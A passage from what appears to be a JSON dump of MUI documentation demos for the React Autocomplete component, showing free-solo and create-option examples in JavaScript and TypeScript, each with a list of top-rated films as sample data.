of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/FreeSolo.js",
    "content": "import TextField from '@mui/material/TextField';\nimport Stack from '@mui/material/Stack';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function FreeSolo() {\n  return (\n    <Stack spacing={2} sx={{ width: 300 }}>\n      <Autocomplete\n        id=\"free-solo-demo\"\n        freeSolo\n        options={top100Films.map((option) => option.title)}\n        renderInput={(params) => <TextField {...params} label=\"freeSolo\" />}\n      />\n      <Autocomplete\n        freeSolo\n        id=\"free-solo-2-demo\"\n        disableClearable\n        options={top100Films.map((option) => option.title)}\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            label=\"Search input\"\n            slotProps={{\n              ...params.slotProps,\n              input: {\n                ...params.slotProps.input,\n                type: 'search',\n              },\n            }}\n          />\n        )}\n      />\n      <Autocomplete\n        id=\"free-solo-demo3\"\n        freeSolo\n        options={top100Films}\n        renderInput={(params) => (\n          <TextField {...params} label=\"freeSolo (handle string values)\" />\n        )}\n        getOptionLabel={(option) =>\n          typeof option === 'string' ? option : option.title\n        }\n        // this demo demonstrates how the value parameter can be either an object (same type as option) or a string\n        // it could become a string if, for example, you press \"Enter\" in the input field\n        isOptionEqualToValue={(option, value) => {\n          if (typeof value === 'string') {\n            return option.title === value;\n          }\n          return option.title === value.title;\n        }}\n      />\n    </Stack>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/FreeSolo.tsx",
    "content": "import TextField from '@mui/material/TextField';\nimport Stack from '@mui/material/Stack';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function FreeSolo() {\n  return (\n    <Stack spacing={2} sx={{ width: 300 }}>\n      <Autocomplete\n        id=\"free-solo-demo\"\n        freeSolo\n        options={top100Films.map((option) => option.title)}\n        renderInput={(params) => <TextField {...params} label=\"freeSolo\" />}\n      />\n      <Autocomplete\n        freeSolo\n        id=\"free-solo-2-demo\"\n        disableClearable\n        options={top100Films.map((option) => option.title)}\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            label=\"Search input\"\n            slotProps={{\n              ...params.slotProps,\n              input: {\n                ...params.slotProps.input,\n                type: 'search',\n              },\n            }}\n          />\n        )}\n      />\n      <Autocomplete\n        id=\"free-solo-demo3\"\n        freeSolo\n        options={top100Films}\n        renderInput={(params) => (\n          <TextField {...params} label=\"freeSolo (handle string values)\" />\n        )}\n        getOptionLabel={(option) =>\n          typeof option === 'string' ? option : option.title\n        }\n        // this demo demonstrates how the value parameter can be either an object (same type as option) or a string\n        // it could become a string if, for example, you press \"Enter\" in the input field\n        isOptionEqualToValue={(option, value) => {\n          if (typeof value === 'string') {\n            return option.title === value;\n          }\n          return option.title === value.title;\n        }}\n      />\n    </Stack>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/FreeSoloCreateOption.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete, { createFilterOptions } from '@mui/material/Autocomplete';\n\nconst filter = createFilterOptions();\n\nexport default function FreeSoloCreateOption() {\n  const [value, setValue] = React.useState(null);\n\n  return (\n    <Autocomplete\n      value={value}\n      onChange={(event, newValue) => {\n        if (typeof newValue === 'string') {\n          setValue({\n            title: newValue,\n          });\n        } else if (newValue && newValue.inputValue) {\n          // Create a new value from the user input\n          setValue({\n            title: newValue.inputValue,\n          });\n        } else {\n          setValue(newValue);\n        }\n      }}\n      filterOptions={(options, params) => {\n        const filtered = filter(options, params);\n\n        const { inputValue } = params;\n        // Suggest the creation of a new value\n        const isExisting = options.some((option) => inputValue === option.title);\n        if (inputValue !== '' && !isExisting) {\n          filtered.push({\n            inputValue,\n            title: `Add \"${inputValue}\"`,\n          });\n        }\n\n        return filtered;\n      }}\n      selectOnFocus\n      clearOnBlur\n      handleHomeEndKeys\n      id=\"free-solo-with-text-demo\"\n      options={top100Films}\n      getOptionLabel={(option) => {\n        // Value selected with enter, right from the input\n        if (typeof option === 'string') {\n          return option;\n        }\n        // Add \"xxx\" option created dynamically\n        if (option.inputValue) {\n          return option.inputValue;\n        }\n        // Regular option\n        return option.title;\n      }}\n      renderOption={(props, option) => {\n        const { key, ...optionProps } = props;\n        return (\n          <li key={key} {...optionProps}>\n            {option.title}\n          </li>\n        );\n      }}\n      sx={{ width: 300 }}\n      freeSolo\n      renderInput={(params) => (\n        <TextField {...params} label=\"Free solo with text demo\" />\n      )}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/FreeSoloCreateOption.tsx",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete, { createFilterOptions } from '@mui/material/Autocomplete';\n\nconst filter = createFilterOptions<FilmOptionType>();\n\nexport default function FreeSoloCreateOption() {\n  const [value, setValue] = React.useState<FilmOptionType | null>(null);\n\n  return (\n    <Autocomplete\n      value={value}\n      onChange={(event, newValue) => {\n        if (typeof newValue === 'string') {\n          setValue({\n            title: newValue,\n          });\n        } else if (newValue && newValue.inputValue) {\n          // Create a new value from the user input\n          setValue({\n            title: newValue.inputValue,\n          });\n        } else {\n          setValue(newValue);\n        }\n      }}\n      filterOptions={(options, params) => {\n        const filtered = filter(options, params);\n\n        const { inputValue } = params;\n        // Suggest the creation of a new value\n        const isExisting = options.some((option) => inputValue === option.title);\n        if (inputValue !== '' && !isExisting) {\n          filtered.push({\n            inputValue,\n            title: `Add \"${inputValue}\"`,\n          });\n        }\n\n        return filtered;\n      }}\n      selectOnFocus\n      clearOnBlur\n      handleHomeEndKeys\n      id=\"free-solo-with-text-demo\"\n      options={top100Films}\n      getOptionLabel={(option) => {\n        // Value selected with enter, right from the input\n        if (typeof option === 'string') {\n          return option;\n        }\n        // Add \"xxx\" option created dynamically\n        if (option.inputValue) {\n          return option.inputValue;\n        }\n        // Regular option\n        return option.title;\n      }}\n      renderOption={(props, option) => {\n        const { key, ...optionProps } = props;\n        return (\n          <li key={key} {...optionProps}>\n            {option.title}\n          </li>\n        );\n      }}\n      sx={{ width: 300 }}\n      freeSolo\n      renderInput={(params) => (\n        <TextField {...params} label=\"Free solo with text demo\" />\n      )}\n    />\n  );\n}\n\ninterface FilmOptionType {\n  inputValue?: string;\n  title: string;\n  year?: number;\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films: readonly FilmOptionType[] = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 